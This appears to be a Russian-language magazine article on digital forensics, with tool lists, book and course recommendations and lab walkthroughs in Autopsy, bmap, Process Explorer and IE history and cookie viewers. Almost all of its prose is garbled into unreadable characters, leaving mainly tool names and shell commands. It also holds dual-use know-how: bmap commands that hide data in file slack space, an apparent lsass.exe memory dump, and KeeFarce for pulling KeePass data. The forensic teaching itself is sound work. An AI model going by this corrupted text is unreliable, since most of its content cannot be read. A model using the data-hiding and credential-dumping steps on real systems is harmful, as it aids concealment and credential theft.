? Crowd� Inspect� ??????�?� ?� ??????�??� ???????�??� ?� ???????� ???�??�??
?�???�??�??�????�??�??,�??�??�??��??�??�??�??�??.�?????�???�
??,� ???�???�?� ?� VirusTotal� ?� ???�??� ?????�????� ???�????� ???�???� ????�
?????�??�???�???��???�??�?????�??.
? dCode�??�???�???�??�??�???�??�??��??�????�???��??�???.
? Bstrings� ?� ????�????� ???� ????�?� ?� ???�????� ???�??,� ????� ???�??�??
???????�??�?????�??.
? eCryptfs燩arser�????�????�??�???�???�??????�?�??�???�??�?爀Cryptfs
?�??�?????�?????�?�??�??�?��??????�??�??�??�????�??�??�??.
? Encryption� Analyzer� ?� ???�??�?� ???� ???�???� ???????�??� ???????
?�????�????�??�??�???�???�??�???�??�??,�??????�???�?�??�????�
????�???�????�??�??????��???�???�?�???�???�????�????.
? File營denti?er��???�????�??�????�?????�??�???�???�??�??�?�????�
????�??�???�??�????,�??????�??�???�?�???�????.
? Memoryze� ?� ???�?� ???� ???�???� ????�??� ???�????�??� ??????,� ????�??
???�??�??�??�??�????��????�????�???�?�??�??.
? ShadowExplorer��??�???�??�???�????��???�????�?�????�????�???�
???�?�??????�????��??�???燱indows.
? HxD��?????�??��??�???燞EX??????�??.
? Synalyze營t!�燞EX??????�??��??�??�???�??�????,�??�???�????��
???�??�?????�??�???.
? wxHex� Editor� ?� ??????????�?????�??� HEX??????�??� ?� ???�????????
????�?????�??�?��????�??�??�??.
??????????�?????�?�?????
? Bulk_extractor��??�??�?�??�????�??????爀mail,營P?????�??��?????�??
??�??�??.
? PhotoRec��??�???�??�????�????�??�??��??�??�???�??????.
??�????�?�??�??��??�????�??�?????�(RAM)
? Forensics,� Memory� Integrity� &� Assurance� Tool� by� invtero� ?� ???�??� ?� ???????�
???�??�???�????,�??????�??�???�??�??�?????�?.
? volatility��???�??�???�????�??�??�??�??�????�??�???�??�???�????�
???�??????�??�?????.
? Rekall��?????�??�??�???�??�??燫AM,�??????�??�?燩ython.
? KeeFarce��??�?�??�????�????�??????燢eePass�?�?????.
??????�???????�????��????????
? SiLK��??�?�??�??�?,�??�????��??�???�??�??�?????�?�?????.�???�
???�?�??�????�??�??�???�??�???�?�????�??�?�??�??�???�???�???
???�??�????�???�???�??�???�??�??�??�???�???�???�??�???.
? Wireshark��??�??�?�????�???�??????�??�???�??�??????�(????�??).
???�?� ???�????�??� ????�???????�???� ?????????� ?� ???????� ?????� ????�
??????�??�??�????�?��???�??�??�??????�??.
? NetworkMiner��??�??�???�?????�?�??�???�??�???�???�??�?,�??�?
???�?� ?� ?????�??� ???�??� ???????� ?????� ?� ???????� ?????�???� ???????
?�??�???燩CAP.
? chrome?url?dumper��??�??�??�???�????�??�????�????�??????�??
??�??�??�?燝oogle燙hrome.
? hindsight��??�???�??�??�?�??�??�???�???�??燙hrome.
??????燛MAIL-?????????
? EDB� Viewer� ?� ???�??� ???�???� ???� ????�????� ???�??� Outlook� (EDB)
???�??�??�????�??�???燛xchange.
? Mail燰iewer��??�???�??�???�????�??�??燨utlook燛xpress,燱indows燤ail
/燱indows燣ive燤ail,�???�??�??�???�????燤ozilla燭hunderbird��??????�
???�??�??燛ML.
? OST� Viewer� ?� ???�???� ???� ????�????� ???�??� OST� Outlook,� ?????� ??
???�??�??�?��??�???燛xchange.
? PST燰iewer��???�??�??�???�??�??�???,�??�??�??�???�????�??�??
PST燨utlook.
?????�?????????�?燞DD��????????
? FastIR燙ollector� ?� ???�??� ???�??�????�??� ????�??� ???????�??� ?� ????�
????燱indows�(??????,�??�????�??�???,�??�???,�??�??�?,�??�???�?
????�????,�???�??�????��??�????).
? FRED� ?� ??????????�?????�??� ???�???� ???�???�??� ????�??� ???� ??
Windows.
? NTFS燯SN燡ournal爌arser��??�??�??�????燯SN�??�????燦TFS.
? RecuperaBit��??�???�??�??�??�??�????�??�??燦TFS.
???�????�???�??�??�???��???�???�?
? Digital� Forensics� Framework� ?� ????�????� ?� ?????�??� ????????� ?????
???�????�????��????�???�??�??�??.�???�???�???�??燙LI�燝UI.
? The燬leuth燢it�燗utopsy��??�???�??�????�?��????�???�??????�???
?�??�?????�??�??�??�??�????�???�???�?�??�??�???�???�??�??�??.
? Oxygen� Forensic� Detective� ?� ???�??�???�??� ???�???�??�????�??� ???�???�
????�??�????�???�??�??�??�?????�??�?????�??.�??�??�????��???
???�??� ???�???�?� ?????�???� ???�??� ?????�????� ???�??,� ???�?????
???????�?????� ???�??� ???�??,� ???�????�?� ??� ??????�??� ?� ?� ????????
???�???�??.��??????�???燜orensic燙loud燛xtractor��????�????�??�???�
???�???�????,�?????�???�??�??�?�???????�????�??�????�??�???
?????�??� Forensic� Maps� ?� ????�????,� ??????�???� ?� ???�???� ??????�
?????�???�??� ???�??� (GPS)?� Forensic� Call� Data� Expert� ?� ????�????
???� ???????� ???????� ???�??� ?� ???????� (???� ??????�???� CDR????�?)
??????� ???�????�?� ?????� ???�??�??�??� ???�?� ?� ????�??�???� ???�???
?????�????�??�??�??.
??�??�?,�??�?????�?�??�??�??�??�?,�??????�????�??�?????�?,��????�
??�????�???��??�?�????�???????�???�????.�????�??�??�??�??�???
???�?� ???�??????� ?� Wiki� Forensic.� ??� ???�???� ???�?� ????� ?????� ???�????
?????� 23� ???�???�??� ???�??�??�??� ??� �??�?�,� ?� ???�?� ??� ????�????� ???�?
???�?��??�??�????.
????????�???�??????????
???�????�?��??�?�???�??�??�??�????�??�?�??�????�??�?????�????.
???�???�?� ??� ?????� ???????�?????�?� ????�?� ??� ???�????� ???�????�???
??????�???,� ??� ????� ???� ??????�??� ???????,� ???� ?� ?????�??� ????�?� ????�?
???�??�???�?�??�???�??�??�????�??�????��??�????�???�??�??�??�???�
????�??� ?� ????�?????�?� ???�???.� ?????�????� ?� ????� ????�????� ???�???
??�???�???,�??�????�???��??�???�??燰irtualBox,�燰Mware.
???�?????� ?� ???,� ?????� ????�?� ???�??�???�?,� ?????� ?� ??????� �??�??
???�????�???�.�????�???,�??�?�??�???��???,�?�????,�???�???�???�
?????�???�??�???� ???�?� ?� ????�??????� DEFT� ???,� ???� ????�??,� Remnux,
??� CAINE� ?� Parrot� OS� ????� ???�??�?� ???�????,� ??� ??????� ???� ?� ????�??� En?
case�燬MART燣inux.
??�???�??�??�?????�?�??�?��???�??�??�??�??�???�?燚EFT
?????????�??�???????
???�?
???� ???�?,� ???� ???�??�???�??� ??????�???� ??� ?????� ????� ????�????�?� ???.
??� ???� ?� ?????�?????�?,� ?????�???� ???� ????�?????� ???????�????� ???�?
???????�?�???�?????�?�????�?.
? ?.� ?.� ???????.� ?????�???� ?� ?????�???�??� ???�???�??�???,� ???�?????�
???�???��?????�??�?�??�?�� PDF,�??�?????�??�??�????.�??�?????�
????�??�?�??�???�??�?��????�??�??�??�???,�??�????�??�??�????�
????� ?� ?????�???.� ??� ???????� ?� ???�??� ????,� ???�??�??� ?� ???�?,
??�????�?�???�???.�???�?�??�???????爉ust爎ead�??�??�?????�???,
???� ?� ???� ???,� ???� ???� ??????�???� ???�???�??�????� ?� ???�?� ???????� ????�
???????.
? Network燜orensics�t燛dition��???�???�??�????�??�??�?????�??????�
????� ???�??� ??� ???????� ????�?.� ???????� ???????,� ?� ?????� ?� ??� ?????
???�??�???�???��??????�??�?��??????�??�??�???.
? File燬ystem燜orensic燗nalysis�t燛dition��???,�??�????�??�??�???�???,
??� ???�????�??� ?????�?????�?� ???�???� ???�??� ?� ???�????� ???�???
????�??�??�????.
? Practical� Mobile� Forensics� ?� ???????� ????�??� ???� ?????�??,� ????�???
??????�?�?????�??�????�????.
? The� Basics� of� Digital� Forensics:The� Primer� for� Getting� Started� in� Digital� Foren?
sics� ?� ???� ????� ???�?,� ???????� ???�?� ??????�??�?????� ?????�??
???�??�??�???�???�?.
? Windows燜orensic燗nalysis燭oolkit:燗dvanced燗nalysis燭echniques爁or燱indows
8� ?� ????� ???�????� ???�?� ???????� ?� ????�??????� ???�????� ??????�???
?�??�??�?????�??�???�??�???�?�燱indows�
? Practical燱indows燜orensics燩aperback��??�????�??????�?�????�???
??,�??�????�??�???,�???�??,�???��???�??�?????�??.
? Digital� Forensics� with� Kali� Linux� ?� ???�?� ???�???,� ???� ????� ??� ?????�????
???�????�?�??�???�????�???�??�??�???�?燢ali燣inux.
? Windows燫egistry燜orensics:燗dvanced燚igital燜orensic燗nalysis��??�?�???�
???�??�???�?� ??� ???�??�?????� ???�????� ???�????�?� ????�??� Windows,
?????�????�??�??��??�??�?????,�?????�????�燱indows�
? Computer� Forensics:� Investigating� File� and� Operating� Systems,� Wireless� Net?
works,� and� Storage� (CHFI)� by� EC?Council� ?� ???�????�??� ????�?� ??� ???�?
???�????� CHFI� ?� ????�??� ??� ?????�???�??� ????�??�??� Wi?Fi??????
?�?????�??�??�??.
? Malware� Forensics� Field� Guide� for� Windows� Systems� ?� ????� ???� ???�?� ?� ??
???�?� ???�???� ????�????� ?� �???�????�??粻 ?????�???,� ??� ???� ??� ???�?
??� ????????,� ???�??�?� ????� ??� ???�??�????� ????�??�?� ?� ????�??� ?� ????�
????�??�???.
? CHFI� Computer� Hacking� Forensic� Investigator� Certi?cation� All?in?One� Exam
Guide� 1st� Edition� ?� ???�????�??� ????�??� ??� ???�?� ???�????� CHFI.� ????�
????�???�??�???????�???��??�???��???�???.
? Practical燜orensic營maging:燬ecuring燚igital燛vidence爓ith燣inux燭ools��??�?,
???????� ???�????�??� ???�???�???� ???�???� ?� ???�????� ???�??�??�?
????�?�???�??�??�??�???�??�?�???�????�?�????�?��?????�??�??
????�???.� ???�??,� ???� ???� must� read� ???� ???,� ???� ??????�?� ????????�?
?????�??�??�???�??�????�??�?????????????�???.
??�???�??��??�?
? FOR500:� Windows� Forensic� Analysis� ?� ????� ???�????� ????�??� ?????�???
??�???�????�???�????�???燬ANS.
? Free燨nline燙omputer燜orensics燭raining燙lass�燙HFI��??�???�???�??
???�?�?�???�????燙HFI.
? Android� Forensics� &� Security� Testing� ?� ??????�??� ?� ???�?� ???�????
??�?????�??�????�???.
? Computer� Forensics� Fundamentals� ?� ???????� ????� ???�????� ??� ???�??�?
Udemy,�???�?????�??�?????���??�????,�???�?�?�????���???�
?????.
? Computer燞acking燜orensic營nvestigator�(CHFI)��??�???�???�?�??�???�
??燯demy�??�???�??????,�??�?????�0�??�????,��??�??�??�??�
???�?�.
? Certi?ed燙yber燜orensics燩rofessional�(CCFP)燼nd燙erti?ed燞acking燜orensics
Investigator� (CHFI)� exams� ?� ????� ???�??�??????�??� ???�????�?� ?� ?????�
??????�??�?????�???�?�???�????燙HFI.
???� ???,� ???� ?????� ???�?????� ????� ???�??� ?� ????� ?????�???,� ???�????� ????�
????�??�????�????�???燙omputer燜orensics燜undamentals.
????????�?????
??�???�??�????�???
? ????�?????�??�????�??.�??�????�??�??�??????
? ??�??�???��??�???�???�??�??�?�?????�??�?燗ndroid
? Android� ?� ?????�???�??� ????�??�?� ???� GPS,� ?????� ???�??�???� Qihoo
?�?????�????�??�???�??��??�??�?
? ???�???� ????� LG,� Samsung� ?� Motorola,� ???�???�???� ?????� ???�??
?�????�????�???�???�??�?
? ??�?????爁orensic.�????�???�??�??�?爄OS???????�??�??�?????爋pen
source�??�??�??�??
? ???�??�???�??�?�?????�?�???�??�??��??�????
??�???�??�??�????�??
? ??�??� ???�??�???�??� ????�??�??.� ????� ???�????� ????�???� ???� ????�
????�??爁orensic????�??�???�??
? ???????????:�???�???�??�????�???�??�??�???�??�???
? ???�????�??�???�??????�????�???�??�??�???�??�???��??�??�????
? ??�????�????�???��??�??�???�??�???�??�??��???�???�??�???
? ??�??��???�??�???�??�??�??�????�???????�???
? ???�???�????��??????�??�??�??�??�??�????�???�(2018�??)
???�??�?�??�??�????�?
???�?�??�????�??�????,��??�??,�?�????�?????�?��??,�??�?�??�?????
????� ??????.� ??� ????� ??� ?� ???�???� ?????� ???�???????� ???�?� ???????
??� �????粻 ???�??�???�??.� ????????� ???�????�?� ???�?,� ???� ??????�???
?� ????�????�??� ????�?,� �?� ???�??�.� ?� ???�??� ???�??� ?� ????� ???�??????
?????� ??� �??�????� ?粻 ???�???�?� ???????� ???�????�?????� ????�?� ?� ?????�
???�???,�??????�??�?�??????��??�??�???�?????.
? Memory爏amples��????�??�??�?????�?燱indows�?燣inux��?????�?
?�??�???�??�???.��????�??�?????�???�??�?��?????�?�????�????�
???.
? p0wnlabs� Sample� Challenges� ?� ?????� ???�??�?� ???�???�???� ???????
??�???爓eb爏leuthing�燿eleted�le爎ecovery.
? Wireshark燬ample燙aptures��?????�????�??�??�?????�?�??�???.
????�??� ????????�??� ?� ???�???� ???�????� ???�??� ??????�?� ???�???� ???�?
???�?�??,�??�??��?�??�???�??�??�??.
? Computer燜orensic燫eference燚ata燬ets�(CFReDS)��?????�????�???�??
???�??�????�?�??????�??�???�??�????�??�?????�???.
? Digital燜orensics燭ool燭esting營mages��??�???�????�???�??�?.
? Digital燙orpora��??�??�???�???�??燚igital燙orpora,�??�?????�??�????�
????�??�????�????�???,��??�??�?�??�??�?????�??�??�?�??????.
? BlackLight��??�?????�??�????�??�??�??�??��??????�??�??�??????�
???�??????.
???�??�????�??�????�?
? ??�?????� ?????� ???�??,� ??????�???,� ???�????� ??� ????� ?????�???
??燝itHub.
? Cheat燬heets�&燩osters��??????�?��???�????�?�????�???,�??�?????
?�????�???燬ANS,��?�???�?!
? Forensic� Computer� Analyst� Salary� ?� ??????� ?� ???,� ?????�?� ??????�???�?
??????�?�?�????�???�?�??????.�??�?????,�????�?!
? Forensic� Workstations,� Forensic� Hardware,� Forensic� Duplicators_Bridges,
Forensic燬oftware��?????�??�???�??�??�????�???.
??????????
???� ???� ??????�?� ???�??� ???�??� ??� ?????�???� ?� ???????� ?� ??????.� ?????�
???,�??�???�???�???�??�?,�?�????�?????�????��??�??�???�??�????�
???�??,�???�?????�??�?�???�????��??????�??????�??????�??�???�???
???�????,�???�???�?��??�?????�?�???�?!
COVERSTORY
?????????
?????????
????�???????
?????????�?????,�????
?�?????�?????????
?�??�???�??�?????�?�??�?????�?�???��????�????�
??????� ?� ???�??�???�??� ???????�????�??.� ?� ????� ?
??????�?�??�?????�??�???�??�??�???��??�???�??�????�
????�??,� ???�?� ?� ???�???� ????�??�??,� ????????�?� ???�?
????�?�??�??.�??�??�?????�?�??�????�????�??�???�
???� ???�??� ?� ??� ???�??�??�????,� ???�??� ?????�????�??
???????� ??????� ???�?,� ????� ?????� ???�??�??� ?� Windows
???� ????�???�??� ???�???� ???� ???�??�??,� ?� ???�?� ???�??
????�??燯RL��????�????燾ookie�?�??�??�?.
???�???????????�????
??�??�???????�????�??????�??�???�??,�????�????�??�?�??�?�????�
??????�?� ???�???�?,� ?????� ?????�?????� BackTrack.� ?� ?????�??� ???�????�
??????�?????�?�?????�???�????��???�??�?????燱indows燲P.燘ackTrack
???????�???�?� ?????�???� ???� ???�????� ??,� ?� ???� XP� ????�?� ???�?� ???????�
????�???�?�??�???�???燨racle燰irtualBox�??燰Mware燩layer.
WARNING
????�?�???��??�?�???�????,�??�???�?,�??�
?????� ??� ????�??.� ???�??� ??????�?,� ??� ????�
??????�??� ??????�??????� ???�??�??� ?� ???�??
??????� ????�???� ?????� ???�??�?� ?� ??????
???�???�????�??????�??�??�??�(???�???�???�
?????�??� ??????�???�??).� ??� ?????,� ??� ?????�??
??� ?????� ??????�???�????� ??� ?????� ?????,� ????�
?????�??� ?????� ???�?????�???� ??????�??????
??????�???�??�??�?????.
????��????��?????????????�?????????�????燡PEG
?�??????燗UTOPSY
????� ???�???� ???�?� ?� ???,� ???�?� ???�?� ????�??�?� ???�??�???� ???�?� (JPEG?
???�????)� ??� ???�???� ???�?� ???????� ??????� ?� ???�??�?????� ???� ?� ???�??
?????�????�??�???�????�?�??�????.
??�?????�??�??�??�??�??�??��???�????�?�????燗utopsy��??�???�
?????� ????�????� ???� ???�???�??� ?????�??????�????� ?� ???????�??�?� ????�
?????�??� ?????????� ???� CLI????�??� ?????�??�?� ????� The� Sleuth� Kit.� ?� ????�
????�?,�???�????�??�???�?�??�???�?????�??�????�?????�???,�???????
?�??�??�??�?????�??�?,�????�???燛XIF�?�??�????,�???????��???�?????�
????� ??????�??� ????�???????�?.� ?????� ???�?????� ???????�??� ??� ???�???�
???�?�??�????�????,��??�?�??�????���????�?�????�???�??�??�??.
????,�??�??.
???�??�????�????�???燘ackTrack�燝UI?????????�??.�????�???�???�
????� ?� ??� ???�??�??� ????�?� ???�???�?� ?????� JPEG� Search� Test� #1,� ??????�
??????�??�??????�??�?�??�?�??�?�???????�??.�??�?�???燙trl�+燭��
??????�????�???�??�?????�????�???�??�?????�????�?.
???�???�????�????:
#爉kdir�p�/var/forensics/images
#爈s�ld�/var/forensics/images
???�???�?�??�????:
#燾d�/var/forensics/images
#爈s�lrta
#爑nzip�jpeg?search.zip
#燾d�jpeg?search
#爈s�lrta
???�????�?�??�??�???�???�?燡PEG燬earch燭est�#1
?�??�??�???�???????�????�?��??�?????:
#燾d�/var/forensics/images/8?jpeg?search
#爈s�l
#爉d5sum�jpeg?search.dd
??�???�??�?�??�?????�??????�?�??�?�爉d5sum.
???????�?燤D5�??�??????�???�??�?
???�?� ???�?� ?????�???� ?� GUI????�??�?� ????� ???�?:� Applications� ?� BackTrack
?燜orensics�燜orensic燬uites�爏etup燗utopsy.�??�?�???�????�???�?�???�
???燞ave爕ou爌urchased爋r燿ownloaded燼燾opy爋f爐he燦SRL�(y/n)�???� n.�????
??????�??� ?� /pentest/forensics/autopsy� ?� ?????�???� ??????� ./autopsy.
??????�???�???�?????�??爓eb????�??��???????�??�??�?????�燗utopsy.
??�???�????�?�./autopsy�?�??�?????
???� ??????�?� ?� ???�??,� ??� ?????�???� ?� ???�??�?� ?????
http://localhost:9999/autopsy.�??�?�??�?�????�???�?�???�??�?�???�???�
??� HTML????�??�?� ??????� ???�??�??�?.� ???,� ???� ???� ???�?,� ?� ???� ???�???
�????� ????�,� ????�?� ???� ???�?,� ???�????� ???�?,� ???�??� ?????�?????�??
???????�??��??�?????�??????�??�?�??�??.
???�???�???燡PEG?8?Inquiry
??�???�??��??�????��????�???�????�?
#燾d�/var/forensics/images/8?jpeg?search
#爈s�l
#爈s�$PWD/8?jpeg?search.dd
??�???�?�????�?
/var/forensics/images/8?jpeg?search/8?jpeg?search.dd
??�???�?�??�??�??�????�?��???�??�?????
??�??�??�??�???�?��??�???��???牜????????�??????/???�????�.
???�???�??�??�???�?�????�???��??�??�??�??�?
???�?�??�?�??�???�???�??�?�?????�?�???�?燦ext��?�????�???�???
???�???�??�???�???�??燩artition.
?�???�??�???�?????�?�????燩artition
??�??�?????�???�??�??�?�??�???�??�??�????,��???�?�??�????營g?
nore爐he爃ash爒alue爁or爐his爄mage,�??�???��????�??�?????�??�?���??�???�
?????�??�???燦TFS.
??�??�???�???�??�??�???�??�???
?�??�?�?????�???�??�???�?????�?�????�???�??�???�?燙alculate.
???�????�??�???�?�???�?燙alculate
???�??�?????�??�??�??��??�????�??�?,�???�???�???�??�????�???
?�????�????.�??�???�????�???�?�?�???�?燗nalysis.
??�???�??�???�??�?�???�??燗nalysis
???�?� ???�???�??� ??????� ???�????� ?????� ????� ??????�?� ??????�??� ?????
?�??�??�???�????�??�??�?�燜ile爄nformation�燤etadata爄nformation.
????�?�?燜ile爄nformation�燤etadata爄nformation
?� ?????�??� ??????�???� ??� ???�??� ????� ??� ????�??� ???�??�??� ???�??
?�????????�????�?????�??�??????�???.
???�????�???:�??�??�??�??�?�???�???�?
???�???�??,�??�??�???�????!
??????????? ??????
?
? �?????�?????
COVERSTORY
????????? ?????????
?????????�?????,�????��?????
??????????
????��????�??????�?????��????????????�??????
?????�燘MAP
??�???�???,�??�???�?????�?�??�???�� ???�????�????��??�???�?????
??????�?�??�??,�??????�?��??????�??�???�???�??????�??�???????�
???��?????,�?????�???�??????�??�??�??�(?�??�???,�??????�??�???�
??????),�??�?????�??�??????�????�????�??�????�?.
INFO
???�????�????� ?� ?????� ?????�??� ???�??
??????�?� ???�?????� ???????�??.� ?� ????
????????� ???????�??� ???� ?� ?????�?????,� ??
???�??�?????�?�????�????�??�????�???�?.
???� ?????�????� ???�???� ???�?� ???� ??????�??�?� ???�???� bmap?tools,� ?????
??????�???????�?�??�????�?????�??�??????�??.��???�??�??�???�?
???�??�????�?????�??�??燽map�?�??�?????,�????�?�??�??�?�??�?????
??�??�???.�??���???�??�??,�??�??�????�????�???�??�????�燘ack?
Track��????�??�?????�????�?:
#燾d�/opt
#爉kdir燽map
#燾d燽map
???�?� ???�????� ?????�????� ?????�???� ?????� ???�???� ?� ??� ???�????�??
????�?�??�???�?�????��??�??.
???�???�?燽map?1.0.17.tar.gz�?�???�?????
???�?��??�????,�??�????�??�?????:
#燾d�/opt/bmap
#爈s�l
#爂unzip燽map?1.0.17.tar.gz
#爐ar�xovf燽map?1.0.17.tar
??�???�???�??�????�?�??�??�???�???�?
??�???� ????� ???�?� ??????� ????�?????�???�?� ?� ?????�??� ????,� ???� ????
?????�???�????�?
#燾d�/opt/bmap/bmap?1.0.17
#爉ake
??�???�??�???:
#爈n�s�/opt/bmap/bmap?1.0.17/bmap�/sbin/bmap
#爓hich燽map
#燽map�help
??�???燽map��??�?????
??�???�??� ?� ???�????� ???�??�???� ???�?,� ?� ???????� ?????� ???�???� ????
�??�?????�???�????�
#燾d�/var/tmp
#爀cho�"This爄s燼爐est爁ile"�爐est.txt
#燾at爐est.txt
???�????�??????�?爐est.txt
???�???� �????�????�??� ???????粻 ????�?� ??????� ???????�?� ???�?� test.
txt:
#燽map�?mode爏lack爐est.txt
#爈s�l爐est.txt
???�???牜?????�????�??�??????�???�?爐est.txt
??�??�???�???牜???�?????�???�????�
#爀cho�"Top燬ecret燚ata燝oes燞ere"爘燽map�?mode爌utslack爐est.txt
#爈s�l爐est
#燾at爐est.txt
#爏trings爐est.txt
??�??�???�???牜???�?????�???�????粻?爐est.txt
??�???� ???�????:� ????�??�?� ????�?� ???�??� ????�????�??,� ??????�??�?
???�??�??�??�?�??�?,��???�?�?�?????�??�?�?????�?�???�?????.
??�???�??�?�??�????��??�????�????�?????:
#爎m爐est.txt
#爈s�l爐est.txt
#爀cho�"This爄s燼爐est爁ile"�爐est.txt
#燽map�?mode爏lack爐est.txt
#爀cho�"Your燦ame"
???��??�??�??�???�??�??�??,�?�??�?????�???�????�???�???,�???�
????�?� ???� ???�????� ????� ??????�?� ????�?� ???�???� ???�?,� ??????�???
????????�??�??�??.�??�?�???�??�?�??�???�????�?
#燽map�?mode爏lack爐est.txt牋
?� ???�?????� ?????�???� ????�?� ??????� ????�????,� ????�???� ?� ?????�?????�
???�??????.
???�?????�???�????�?????�??�?�??�????�??�?
????��??????�???�?????�???�????????燱INDOWS,
???????????�??????????牜????????????��???????�
???�??�?�?????�???�??�?�??�?????�??�?�???�?�???�?????��??????
??????�??????�??燱indows燲P.�??�???�?爊ative????�???�?燤icrosoft�??�???�
????�?� Process� Explorer.� ???�?� ???�????�?� ????�?� ?� ?????� ?????�????
?????�???�????�??�???�?�??�?�???�??�??�???�(???�?????�??�??�???
????�?�??�?????��???�??�??�??�??)��???��???燰iew�燬how燩rocess?
es燜rom燗ll燯sers.
??�?燩rocess燛xplorer�??�?�????�?�燱indows燲P
?????????��??,�??�?????�??�???�??�???�????.
?�????�?燩rocess�???�???�???�?????�???????�??�??�??��?�?????�
???.� ???????� (child)� ?� ???�???,� ???�?????� ???�??,� ????????�???� (parent)
???�??�??.� ?????� ???�???� ?????� ????� ?� ?????�??,� ????� ??� ???�??� ?� ????
?????�????�??�???�??�??�?,��?????�??,�???��???�??�????�????�???�
???�??�??�??�???.�???�??????�??�??�??�?????�??�??�??�????�????�
??��???�???�???��????�??�?�????�?�??�??�????�??�???�????�??�???
?�????�??�??�???�?????�?.
??�???�?????�??�??�??��??�???燬ystem營dle燩rocess,�??�?????�????�
???� ???�???.� ???�?????� ???�??�??� ??????� ????�???�??� ???�???� System.
??�????�???燬ystem��??�?�?????�?�????�??�???�????�??�??�???,
?� ???�???� ??????,� ????�????�??�??� ???� ????�??????� ????????�?� ???�???,
???�??�??� ?� ????�??�??� ???�???�??,� ???????� ???�?????� ????�????,� ????�
?????�?�???�??燱indows�(Session燤anager)爏mss.exe�燾srss.exe�(Client?Serv?
er燫untime).
??�???�??� ?????� ??????� ????�???�?� ?????�??� ?????�?� ?????�?????�?
?燱indows�??�??�??.�??,�??�???�??�????��??�???�????燬ERVICES.EXE
????�?????�?� ???�????,� ???�????,� ??????� ?� ????�??�?� ?????� (???�????)
?�??�???�????�??�???,�??��???�???�???��???�?�????�?????�?�???�
???�??.
? PID� ?� ????�?????�??� ???�??�?� PID� ?� ???�???�??� ???????�??� ???�?,
????�????????�??�???�??�??�?�??�??�??�????.
? CPU��??�???�?????�??????�??�????�???�??�??�???.
? Private� Bytes� ?� ???�?� ???�????�??� ??????,� ???????�??� ???�???� ????�
???�?��?�??�???�???��??�???�??�??�???.
? Working� Set� ?� ???????� ?????� ???�??�?,� ????�???�?????� ?????� ????�
??????� ???�?� ????� ????�??� ??????�?????� ??� ??????� ?� ???�??� ??????
???�???.� ???�??� ???�?� ??????� ?????� ????�???�?� ?� ??????�??�?� ??� ????�
?????� ???�??�?.� ????�??� ?????� ???�??�??� ??????�???� ???�???�???
??????�(Shared燤emory).
? Description��???�??�??�????�??�??�?.
? Company燦ame��??�????�??�????????�????�???.
? Path��???��??�??????�??�?�??�?.
? Verified� Signer� ?� ????�??� ???�????�????� ???�????� ???�???� ????????�
???�?� ???�?.� ???????� ????�?� Not� veri?ed� ???????� ?� ???,� ???� ???�????
???�???�?????�??�?�??�?�?�??�???�??�?????.
????�?�??�?????�??�??�?�?????�?�?�????�????.
????�???�???�?牜????????�???��????�??�??�???�
???�?� ?� ???????� Process� Explorer� ???�?� ???�???� ???�?� ??????� ??????�??
???�??�??�??�???�??�???�??�???�????�?�??�????.�??�???�???�??�?
???�???�???� ???� ????�???�??� ???�??� ????�???�????� ???�???� ???�????
???�??�??�??.�??�??�??�???�??�?�???�??????�????�??�???燚ebugging
Tools爁or燱indows.
?� ???� ?????�?????� ??????�?� ???�???� ??????�???� ???�???� ???�??
??� ???�??,� ??� ?� ?????�??� ???�?????� ???�?????� ??� ??????� ??????�?????
??????�?燱inDbg�??,�??��????.
???�????�??�?�??�??�????�?�??�??�?爈sass.exe
????� ??????� ???�??�?� ???�???�?� ??????�??� ???�?� ???????�??� ?� ?????
???�??�?��??�????�??�??�????�??,�??????�???�?�?????�???�????.
???�????牜???�???粻???牜???�??�???粻???�?�???�??�??�??
???�??� ????� ????� ???�??�??� ?� ???� ?????,� ????�?????� ?????�????� ????
???�????�??� ??????� ?????�??�?,� ???� ????�???????�???,� ???� ?� ???�?????
???�??�?.� ????�?� ???�?:� ????�?� ???� ???�???,� ??� ???�??� ???�???�?,� ???
?�???�??�??�??�?�??�??�??????�?�??�???�??�?.�??�??�?�??�???�???
???�?????�????�??�?.
????��??????????????�??????�????????燯RL???????��???????��?????燙OOKIE
?� ???�???????�??� ???�?� ??� ?????,� ?????� URL� ???????� ????�???????
?????� ???,� ???� ??????� ???�?????� ???� ?� ????� ???� ???�????,� ?� ???�???
????????� ?????�?????�??� ????� ??� ???�????�??� cookie????�??.� ???�????�
??????�???�????�?�????�?????�??�??�???�?????�??????�????�???�?
???�??�?� Internet� Explorer.� ???� ???�?� ???� ??????�??�?� ???� ???�???:� IEHisto?
ryView� ?� ??????� URL?????�??� ?� IECookiesView� ?� ??� ???�????� ?????�?,� ???
????�??�???燾ookies.
???���??�???�??�??�?,�??�?????�??�?�??�?�?�?????��??????
??????�??????�??燱indows燲P.�??�???�?�?�??�???�???�??�???�
IEHistoryView�營ECookiesView.�???�???????�?�????�????�燲P營E�????�???
???�???�?�??�??,��??�?�????�???�????�??.
??�???�??�?????�????�?營EHistoryView
???�?�????�?�??�?�???�???�??�?�??�?????�?�??�??�?????�??????�??
?� ???�????�??� ?� ????�??� URL?????�??,� ???�????� ????�??,� ????� ????�????,
???�?� ????�?????�?,� ???� ???????� ???� ???�???�??� ?????� ???????�????.
?� ???�?� ???�?� ???�??�??� ????�?� �??� ????� ????�????�?粻 ?� �� ?????� ????�
??粻?牜?????�???�?�???�?????�??�.
??�??� ?� ????�??� ????� ????�????� ???�????� ?????� ??� ???�???�?� ???�?.
???�??,�??�????,爉etasploit.
??�???�???�???�?�??�??爉etasploit��???�??�?????�??
??�??�??�?�??�?????�?�?營ECookiesView.�??�?????�???�???�???????�?
???�??�??� ?????� ?� ?????� ?????�????� ?� ?????�???.� ???�?� ???�?� ????� ????�
????�?� ??????� ??� ????�????� ????�???� ????� ????�????� ?� ?????�???�?� ????�
?????�??�?????�?燾ookie????�??.
??�???營ECookiesView��???�???燾ookie????�??
??�???� ??????� ???�????� ?????� ?????�?� ??� ???�???�?� cookie,� ???�?� ????
?� ???�??� ??????� ????�???� ????� ???�??� ???�????� ???�??� ????� ?????�??????�
???.
???�???????�????�?????�??�??�????�?燾ookie????�?
??�??�?????�??�??�??�??�??????�??�??�????�?燾ookie????�?
??????????
??�??�?� ??� ???�???�?� ???�????� ?????�???�???�???� ??????:� ????�???�?
???�??�??�???��??????�??�??�???�?�??,�?????�?????�????�????�??
???????� ???�????� ???�?� ???� ???�??????� �??�????�?� ????�????�,� ?????�?
???�???� ???� ???�????� ???�??� ????�???????�???� ???�??�??� ?� ????� ???�???,
???�?� ??????� ???�?� ????�???�????� ???�????,� ?� ???�???�???� ???�??� ????�
???�??�????� ????�??� ???????�????.� ???????� ??????� ?� ???�????� ????�???
??�????�??�?????�??�??.�?��???�?�????�??�??�?????�?�??�?�????�
